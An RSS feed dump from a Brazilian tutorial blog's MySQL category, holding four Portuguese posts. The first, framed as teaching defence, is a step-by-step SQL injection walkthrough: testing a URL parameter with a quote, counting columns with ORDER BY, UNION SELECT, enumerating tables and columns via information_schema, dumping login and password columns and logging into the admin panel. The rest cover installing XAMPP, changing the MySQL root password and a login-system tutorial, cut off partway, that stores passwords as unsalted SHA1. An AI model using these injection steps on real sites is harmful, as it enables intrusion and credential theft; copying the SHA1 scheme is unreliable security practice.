<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>BRASIL TUTORIAIS - Tudo sobre tutoriais &#187; MYSQL</title>
	<atom:link href="http://brasiltutoriais.com.br/category/mysql/feed/" rel="self" type="application/rss+xml" />
	<link>http://brasiltutoriais.com.br</link>
	<description>Apostilas, CSS, PHP, jogos, JAVA, Wordpress</description>
	<lastBuildDate>Thu, 13 May 2010 19:48:30 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>SQL Injection &#8211; Conheça mais sobre esta ferramenta</title>
		<link>http://brasiltutoriais.com.br/sql-injection-conheca-mais-sobre-esta-ferramenta/</link>
		<comments>http://brasiltutoriais.com.br/sql-injection-conheca-mais-sobre-esta-ferramenta/#comments</comments>
		<pubDate>Thu, 13 May 2010 19:41:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MYSQL]]></category>

		<guid isPermaLink="false">http://brasiltutoriais.com.br/?p=487</guid>
		<description><![CDATA[
Já ouvi muita gente falar sobre a fragilidades dos sites que podem ser invadidos por um simples comando que faz o sistema intepretar de maneira errada os dados.  Bom para os interessados segue um breve texto para que você saiba mais sobre SQL INJECTION e aprenda a se defender dos maliciosos da web.

Primeiramente quero mostrar [...]<p><a href="http://brasiltutoriais.com.br/sql-injection-conheca-mais-sobre-esta-ferramenta/">SQL Injection &#8211; Conheça mais sobre esta ferramenta</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



No related posts.]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em;"><script type="text/javascript" src="http://button.topsy.com/widget/retweet-big?url=http://brasiltutoriais.com.br/sql-injection-conheca-mais-sobre-esta-ferramenta/&amp;shorturl=http://bit.ly/cxqRXp&amp;title=SQL+Injection+-+Conhe%C3%A7a+mais+sobre+esta+ferramenta&amp;theme=blue&amp;txt_tweet=tweet&amp;txt_retweet=retweet"></script></div><p>Já ouvi muita gente falar sobre a fragilidades dos sites que podem ser invadidos por um simples comando que faz o sistema intepretar de maneira errada os dados.  Bom para os interessados segue um breve texto para que você saiba mais sobre SQL INJECTION e aprenda a se defender dos maliciosos da web.</p>
<p><span id="more-487"></span></p>
<p>Primeiramente quero mostrar para vocês um site onde vocês poderam encontrar mais sobre novas vulnerabilidades, como se proteger de vulnerabilidades da web.</p>
<p>http://www.owasp.org/</p>
<p>Nessa aula estremos aprendendo SQLi, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha.</p>
<p>Aqui esta o site: www.site.com.br/noticias.php?id=10</p>
<p>Para descobrir se pode estar vulneravel, coloque ‘ depois do link, caso dei algum erro tem grande chance de estar vulneravel.</p>
<p>www.site.com.br/noticias.php?id=10‘</p>
<p>Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282</p>
<p>Essa falha é baseada em erros.</p>
<p>Vamos pegar o numero de colunas usando ORDER BY *</p>
<p>É usado dessa maneira:</p>
<p>+order+by+1 //Sem erro</p>
<p>+order+by+2 //Sem erro</p>
<p>+order+by+3 //Sem erro</p>
<p>+order+by+4 //Sem erro</p>
<p>+order+by+5 //Sem erro</p>
<p>+order+by+6 //Erro</p>
<p>www.site.com.br/noticias.php?id=10+order+by+5</p>
<p>Então são apenas 5 colunas</p>
<p>Vamos uni-las, usando UNION ALL SELECT *</p>
<p>http://www.site.com.br/noticias.php?…lect+1,2,3,4,5</p>
<p>Coloque um traço (-) antes do valor da variavel ficando assim:</p>
<p>http://www.site.com.br/noticias.php?…lect+1,2,3,4,5</p>
<p>Irão aparecer numeros, eles que nóis iremos subtituir por informações:</p>
<p>Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version()</p>
<p>+union+all+select+1,version(),3</p>
<p>//–Brute Force–\\</p>
<p>Vamos tentar colocar tabelas até que não apareça erro:</p>
<p>UNION ALL SELECT * FROM ADMIN == erro</p>
<p>“” “” “” “” LOGIN == erro</p>
<p>“” “” “” “” USER == erro</p>
<p>“” “” “” “” USERS == erro</p>
<p>“” “” “” “” USUARIOS == sem erro</p>
<p>Então no caso ficaria assim: http://www.site.com.br/noticias.php?…+from+usuarios</p>
<p>Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin … entre outros.</p>
<p>//–INFORMATION_SCHEMA–\\</p>
<p>DATABASE: INFORMATION_SCHEMA</p>
<p>TABELA: TABLES</p>
<p>COLUNA: TABLE_NAME</p>
<p>Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES</p>
<p>Para ir passando de tabela você usa LIMIT *</p>
<p>LIMIT 1,1</p>
<p>LIMIT 2,1</p>
<p>LIMIT 3,1</p>
<p>LIMIT 4,1</p>
<p>LIMIT 5,1</p>
<p>… E assim vai indo até encontrar uma tabela de login.</p>
<p>Ex: http://www.site.com.br/noticias.php?…bles+limit+1,1</p>
<p>//</p>
<p>Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente:</p>
<p>DATABASE: INFORMATION_SCHEMA</p>
<p>TABELLA: COLUMNS</p>
<p>COLUNA: COLUMN_NAME</p>
<p>Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS</p>
<p>Para passar de coluna pode usar o LIMIT também.</p>
<p>//</p>
<p>Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação:</p>
<p>UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS</p>
<p>http://www.site.com.br/noticias.php?…+from+usuarios</p>
<p>Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php , ou você pode usar o acunetix ou algum outro tool para encontrar a area de login.</p>
<p>Ao encontra-la é só você se logar com as informações que você pegou</p>
<p><a href="http://www.inw-seguranca.com/wordpress/?p=1227"> Auotr: Twi John</a></p>
<p><a href="http://brasiltutoriais.com.br/sql-injection-conheca-mais-sobre-esta-ferramenta/">SQL Injection &#8211; Conheça mais sobre esta ferramenta</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://brasiltutoriais.com.br/sql-injection-conheca-mais-sobre-esta-ferramenta/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu</title>
		<link>http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/</link>
		<comments>http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/#comments</comments>
		<pubDate>Thu, 18 Feb 2010 12:01:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MYSQL]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://brasiltutoriais.com.br/?p=372</guid>
		<description><![CDATA[
Com a crescente do PHP e das soluções abertas nos ultimos anos, vem ccada vez mais se tornando comum desenvolvedores adotarem a plataforma Linux em seu ambiente de produção recorendo a distro Ubuntu uma das mais populares portas de entrada no mundo Linux.

Esse tutorial visa ensinar a quem está descobrindo esse novo mundo como subir [...]<p><a href="http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/">Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/' rel='bookmark' title='Permanent Link: Iniciando o uso do MySQL'>Iniciando o uso do MySQL</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em;"><script type="text/javascript" src="http://button.topsy.com/widget/retweet-big?url=http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/&amp;title=Como+instalar+PHP%2C+MySQL%2C+PHPMyAdmin+e+FTP+no+Ubuntu&amp;theme=blue&amp;txt_tweet=tweet&amp;txt_retweet=retweet"></script></div><p>Com a crescente do PHP e das soluções abertas nos ultimos anos, vem ccada vez mais se tornando comum desenvolvedores adotarem a plataforma Linux em seu ambiente de produção recorendo a distro Ubuntu uma das mais populares portas de entrada no mundo Linux.</p>
<p><span id="more-372"></span></p>
<p>Esse tutorial visa ensinar a quem está descobrindo esse novo mundo como subir um servidor Apache com PHP e MySQl integrados facilmente.</p>
<p>A primeira vista ao falar de Linux as pessoas se lembram de algo complicado, programas que têm de ser instalado na unha e etc. Nada como o Windows que em um clique se resolve tudo instalando um daqueles pacotes de servidores web.</p>
<p>Mas se engana quem acha que os pacotes prontos são exclusividade do Windows, cada vez mais está mais fácil instalar programas no Linux e com a ajuda do XAMPP você conseguirá subir um servidor web completo, com apache, php, mysql, myphpadmin, e ftp, em poucos segundos, vamos aos passos:</p>
<ol>
<li>Baixe o <a href="http://www.sistemasgerenciais.com/index.php?page=download&amp;op=getFile&amp;title=Xampp+para+Linux+1.7+(APACHE+%2B+PHP+%2B+MYSQL)">Xammp 1.7</a> para Linux a partir do site SistemasGerenciais.com. Salve o mesmo na pasta home/(seu_nome_de_usuario)</li>
<p> </p>
<li>Entre com o usuário ROOT no console do Ubuntu (terminal ou shell dependendo da sua versão):</li>
<p> </p>
<p>Clique em:</p>
<p> </p>
<p><em>Aplicações&gt;&gt;Acessorios&gt;&gt;Console </em></p>
<p> </p>
<p>e caso não saiba a senha do ROOT digite:</p>
<p> </p>
<p><em>sudo passwd</em></p>
<p>Digite a senha do seu usuário administrador e em seguida digite a nova senha do ROOT<br />
 </p>
<li>Digite o comando &#8220;su&#8221;, aperte enter e digite a senha do ROOT. Isso vai alterar seu usuário para ROOT</li>
<p> </p>
<li>Copie os arquivos compactados para pasta \opt:</li>
<p>No console caminhe até a pasta onde você salvou os arquivos cd /home/(usuario)/ e digite o comando de extração de arquivos TAR</p>
<p> </p>
<p><strong>tar xvfz</strong><em> xampp-linux-1.7.tar.gz -C ../../opt</em><br />
 </p>
<li>Chame o lampp com o parametro start:</li>
<p> </p>
<p><em>/opt/lampp/lampp start</em></p>
<p>Pronto, tá ai seu servidor mais fácil que no Windows.</p>
<p>Agora para testar basta digitar http://localhost no nagevador, ou o ip/nome da sua máquina.</p>
<p> </p>
<p>Fonte: <a href="http://www.sistemasgerenciais.com/index.php?page=news&amp;op=readNews&amp;title=Instalar+PHP%2C+MySQL%2C+PHPMyAdmin+e+FTP+no+Ubuntu" target="_blank">sistemasgerenciais</a></ol>
<p><a href="http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/">Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



<p>NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/' rel='bookmark' title='Permanent Link: Iniciando o uso do MySQL'>Iniciando o uso do MySQL</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Mudando a senha padrão do MySQL</title>
		<link>http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/</link>
		<comments>http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/#comments</comments>
		<pubDate>Wed, 30 Sep 2009 02:17:30 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MYSQL]]></category>

		<guid isPermaLink="false">http://brasiltutoriais.com.br/?p=260</guid>
		<description><![CDATA[

Aprenda a mudar a senha do usuário padrão do MySQL (root) no Windows e no Linux sem nenhuma grande complicação digitando apenas um ou dois comandos!

Após a instalação do MySQL (se você não fizer nada), o usuário padrão será o “root” e a senha será vazia… E isso não é nada seguro, mesmo quando se [...]<p><a href="http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/">Mudando a senha padrão do MySQL</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/' rel='bookmark' title='Permanent Link: Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu'>Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu</a></li>
<li><a href='http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/' rel='bookmark' title='Permanent Link: Iniciando o uso do MySQL'>Iniciando o uso do MySQL</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em;"><script type="text/javascript" src="http://button.topsy.com/widget/retweet-big?url=http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/&amp;title=Mudando+a+senha+padr%C3%A3o+do+MySQL&amp;theme=blue&amp;txt_tweet=tweet&amp;txt_retweet=retweet"></script></div><p><img title="Mais..." src="http://brasiltutoriais.com.br/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /><img title="Mais..." src="http://brasiltutoriais.com.br/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /><img title="Mais..." src="http://brasiltutoriais.com.br/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /></p>
<p>Aprenda a mudar a senha do usuário padrão do MySQL (root) no Windows e no Linux sem nenhuma grande complicação digitando apenas um ou dois comandos!<img title="Mais..." src="http://brasiltutoriais.com.br/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /></p>
<p><span id="more-260"></span></p>
<p>Após a instalação do MySQL (se você não fizer nada), o usuário padrão será o “<em>root</em>” e a senha será vazia… E isso não é nada seguro, mesmo quando se desenvolve localmente… Hoje vou ensinar como mudar essa senha tanto no Windows quanto no Linux.</p>
<p>Mudando a senha do <em>root</em> no Windows</p>
<p>1. Iniciar &gt; Executar, digite CMD e aperte enter</p>
<p>2. Navegue até o diretório <strong>bin</strong> dentro da pasta onde o MySQL está instalado, pode ser <strong style="background: gray; color: orange;">C:\mysql\bin</strong> ou se você estiver usando o XAMPP será <strong style="background: gray; color: orange;">C:\xampp\mysql\bin</strong></p>
<p>3. Digite os seguintes comandos:</p>
<div id="highlighter_782351">
<div>
<div><code>1.</code><span><span style="margin-left: 0px !important;"><code>mysql -u root mysql </code></span></span></div>
<div><code>2.</code><span><code> </code><span style="margin-left: 7px !important;"> </span></span></div>
<div><code>3.</code><span><span style="margin-left: 0px !important;"><code>SET PASSWORD FOR root@localhost=PASSWORD('NOVASENHA');</code></span></span></div>
</div>
</div>
<p>Pronto, a senha foi modificada… Não se esqueça de mudar a senha do phpMyAdmin (no arquivo <strong style="background: gray; color: lime;">config.inc.php</strong>).</p>
<p> </p>
<h3>Mudando a senha do <em>root</em> no Linux</h3>
<p>Se você está mudando a senha pela primeira vez é só acessar o terminal e digitar:</p>
<div id="highlighter_868282">
<div>
<div><code>1.</code><span><span style="margin-left: 0px !important;"><code>mysqladmin -u root password 'NOVASENHA'</code></span></span></div>
</div>
</div>
<p>Caso você esteja trocando a senha do root é só usar o comando:</p>
<div id="highlighter_743800">
<div>
<div><code>1.</code><span><span style="margin-left: 0px !important;"><code>mysqladmin -u root -p 'SENHAANTIGA' password 'NOVASENHA'</code></span></span></div>
</div>
</div>
<p>Para esses comandos funcionarem você precisa do <strong>mysqladmin</strong> instalado.</p>
<p>Fonte:<a href="http://thiagobelem.net/blog/mysql/2009/08/01/mudando-a-senha-padrao-do-mysql-602/"> ThiagoBelem</a></p>
<p><a href="http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/">Mudando a senha padrão do MySQL</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



<p>NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql/' rel='bookmark' title='Permanent Link: Mudando a senha padrão do MySQL'>Mudando a senha padrão do MySQL</a></li>
<li><a href='http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/' rel='bookmark' title='Permanent Link: Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu'>Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu</a></li>
<li><a href='http://brasiltutoriais.com.br/iniciando-o-uso-do-mysql/' rel='bookmark' title='Permanent Link: Iniciando o uso do MySQL'>Iniciando o uso do MySQL</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://brasiltutoriais.com.br/mudando-a-senha-padrao-do-mysql-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Como criar um Sistema de Login com Níveis de Permissão</title>
		<link>http://brasiltutoriais.com.br/como-criar-um-sistema-de-login-com-niveis-de-permissao/</link>
		<comments>http://brasiltutoriais.com.br/como-criar-um-sistema-de-login-com-niveis-de-permissao/#comments</comments>
		<pubDate>Tue, 18 Aug 2009 11:39:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MYSQL]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://brasiltutoriais.com.br/?p=228</guid>
		<description><![CDATA[
O nosso sistema consistirá em um login simples, validado por usuário e senha (encriptada) contra uma tabela no banco de dados e armazenando os dados na sessão. Haverão dois níveis de acesso para os nossos usuários: normal (1) e administrador (2).

Criando a Tabela MySQL
Você pode executar esse código MySQL para criar a nossa tabela de [...]<p><a href="http://brasiltutoriais.com.br/como-criar-um-sistema-de-login-com-niveis-de-permissao/">Como criar um Sistema de Login com Níveis de Permissão</a> is a post from: <a href="http://brasiltutoriais.com.br">BRASIL TUTORIAIS - Tudo sobre tutoriais</a></p>



NOTICIAS RELACIONADAS:<ol><li><a href='http://brasiltutoriais.com.br/sistema-de-login-utilizando-flash-e-xml/' rel='bookmark' title='Permanent Link: Sistema de Login utilizando Flash e XML'>Sistema de Login utilizando Flash e XML</a></li>
<li><a href='http://brasiltutoriais.com.br/bloqueando-visitantes-pelo-ip-com-mysql-e-php/' rel='bookmark' title='Permanent Link: Bloqueando visitantes pelo IP com MySQL e PHP'>Bloqueando visitantes pelo IP com MySQL e PHP</a></li>
<li><a href='http://brasiltutoriais.com.br/como-instalar-php-mysql-phpmyadmin-e-ftp-no-ubuntu/' rel='bookmark' title='Permanent Link: Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu'>Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[
<div class="topsy_widget_data topsy_theme_blue" style="float: right;margin-left: 0.75em;"><script type="text/javascript" src="http://button.topsy.com/widget/retweet-big?url=http://brasiltutoriais.com.br/como-criar-um-sistema-de-login-com-niveis-de-permissao/&amp;title=Como+criar+um+Sistema+de+Login+com+N%C3%ADveis+de+Permiss%C3%A3o&amp;theme=blue&amp;txt_tweet=tweet&amp;txt_retweet=retweet"></script></div><p>O nosso sistema consistirá em um login simples, validado por usuário e senha (encriptada) contra uma tabela no banco de dados e armazenando os dados na sessão. Haverão dois níveis de acesso para os nossos usuários: normal (1) e administrador (2).</p>
<p><span id="more-228"></span></p>
<p>Criando a Tabela MySQL</p>
<p>Você pode executar esse código MySQL para criar a nossa tabela de usuários que tem 7 campos: id, nome, usuario, senha, niveis, ativo e cadastro:</p>
<div id="highlighter_317337" class="syntaxhighlighter syntaxhighl">
<div class="bar     ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object id="highlighter_317337_clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="highlighter_317337_clipboard" type="application/x-shockwave-flash" width="16" height="16"> </embed></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">CREATE</code> <code class="keyword">TABLE</code> <code class="plain">IF </code><code class="color1">NOT</code> <code class="plain">EXISTS `usuarios` ( </code></span></span></div>
<div class="line alt2"><code class="number">02.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`id` </code><code class="keyword">INT</code><code class="plain">(11) UNSIGNED </code><code class="color1">NOT</code> <code class="color1">NULL</code> <code class="plain">AUTO_INCREMENT, </code></span></span></div>
<div class="line alt1"><code class="number">03.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`nome` </code><code class="keyword">VARCHAR</code><code class="plain">( 50 ) </code><code class="color1">NOT</code> <code class="color1">NULL</code> <code class="plain">, </code></span></span></div>
<div class="line alt2"><code class="number">04.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`usuario` </code><code class="keyword">VARCHAR</code><code class="plain">( 25 ) </code><code class="color1">NOT</code> <code class="color1">NULL</code> <code class="plain">, </code></span></span></div>
<div class="line alt1"><code class="number">05.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`senha` </code><code class="keyword">VARCHAR</code><code class="plain">( 40 ) </code><code class="color1">NOT</code> <code class="color1">NULL</code> <code class="plain">, </code></span></span></div>
<div class="line alt2"><code class="number">06.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`email` </code><code class="keyword">VARCHAR</code><code class="plain">( 100 ) </code><code class="color1">NOT</code> <code class="color1">NULL</code> <code class="plain">, </code></span></span></div>
<div class="line alt1"><code class="number">07.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`nivel` </code><code class="keyword">INT</code><code class="plain">(1) UNSIGNED </code><code class="color1">NOT</code> <code class="color1">NULL</code> <code class="keyword">DEFAULT</code> <code class="string">'1'</code><code class="plain">, </code></span></span></div>
<div class="line alt2"><code class="number">08.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`ativo` BOOL </code><code class="color1">NOT</code> <code class="color1">NULL</code> <code class="keyword">DEFAULT</code> <code class="string">'1'</code><code class="plain">, </code></span></span></div>
<div class="line alt1"><code class="number">09.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="plain">`cadastro` DATETIME </code><code class="color1">NOT</code> <code class="color1">NULL</code> <code class="plain">, </code></span></span></div>
<div class="line alt2"><code class="number">10.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="keyword">PRIMARY</code> <code class="keyword">KEY</code> <code class="plain">(`id`), </code></span></span></div>
<div class="line alt1"><code class="number">11.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="keyword">UNIQUE</code> <code class="keyword">KEY</code> <code class="plain">`usuario` (`usuario`), </code></span></span></div>
<div class="line alt2"><code class="number">12.</code><span class="content"><code class="spaces">    </code><span class="block" style="margin-left: 28px !important;"><code class="keyword">KEY</code> <code class="plain">`nivel` (`nivel`) </code></span></span></div>
<div class="line alt1"><code class="number">13.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="plain">) ENGINE=MyISAM ;</code></span></span></div>
</div>
</div>
<p>Com isso você já tem uma tabela pronta para o nosso tutorial… Rode esse script se quiser alimentar a tabela com alguns usuários de teste:</p>
<div id="highlighter_418825" class="syntaxhighlighter syntaxhighl">
<div class="bar  ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object id="highlighter_418825_clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="highlighter_418825_clipboard" type="application/x-shockwave-flash" width="16" height="16"> </embed></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">INSERT</code> <code class="keyword">INTO</code> <code class="plain">`usuarios` </code><code class="keyword">VALUES</code> <code class="plain">(</code><code class="color1">NULL</code><code class="plain">, </code><code class="string">'Usuário Teste'</code><code class="plain">, </code><code class="string">'demo'</code><code class="plain">, SHA1( </code><code class="string">'demo'</code> <code class="plain">), </code><code class="string">'usuario@demo.com.br'</code><code class="plain">, 1, 1, NOW( )); </code></span></span></div>
<div class="line alt2"><code class="number">2.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="keyword">INSERT</code> <code class="keyword">INTO</code> <code class="plain">`usuarios` </code><code class="keyword">VALUES</code> <code class="plain">(</code><code class="color1">NULL</code><code class="plain">, </code><code class="string">'Administrador Teste'</code><code class="plain">, </code><code class="string">'admin'</code><code class="plain">, SHA1( </code><code class="string">'admin'</code> <code class="plain">), </code><code class="string">'admin@demo.com.br'</code><code class="plain">, 2, 1, NOW( ));</code></span></span></div>
</div>
</div>
<p>Como vocês podem perceber, o nosso campo de senha tem 40 caracteres e quando cadastramos os usuários testes usamos <strong style="background: gray; color: white;">SHA1(’{senha}’)</strong> isso significa que usaremos uma senha encriptada… Se você quiser saber mais sobre sha1 veja esse artigo: <a href="http://thiagobelem.net/blog/php/2009/03/11/criptografia-no-php-usando-md5-sha1-e-base64-323/" target="_blank">Criptografia no PHP usando md5, sha1 e base64</a>.</p>
<p> </p>
<h3>O formulário de Login em XHTML</h3>
<p>Vamos criar agora o nosso formulário que será onde o visitante entrará com os dados e será mandado para a pagina validacao.php onde os dados serão validados (ohh).</p>
<div id="highlighter_591353" class="syntaxhighlighter syntaxhighl">
<div class="bar  ">
<div class="toolbar"><a class="item viewSource" style="width: 16px; height: 16px;" title="view source" href="http://brasiltutoriais.com.br/wp-admin/#viewSource">view source</a></div>
<div class="item copyToClipboard"><object id="highlighter_591353_clipboard" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="16" height="16" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><embed id="highlighter_591353_clipboard" type="application/x-shockwave-flash" width="16" height="16"> </embed></object></div>
<p><a class="item printSource" style="width: 16px; height: 16px;" title="print" href="http://brasiltutoriais.com.br/wp-admin/#printSource">print</a><a class="item about" style="width: 16px; height: 16px;" title="?" href="http://brasiltutoriais.com.br/wp-admin/#about">?</a></div>
<div class="lines">
<div class="line alt1"><code class="number">01.</code><span class="content"><span class="block" style="margin-left: 0px !important;"><code class="comments">&lt;!-- Formulário de Login --&gt;</code></span></span></div>
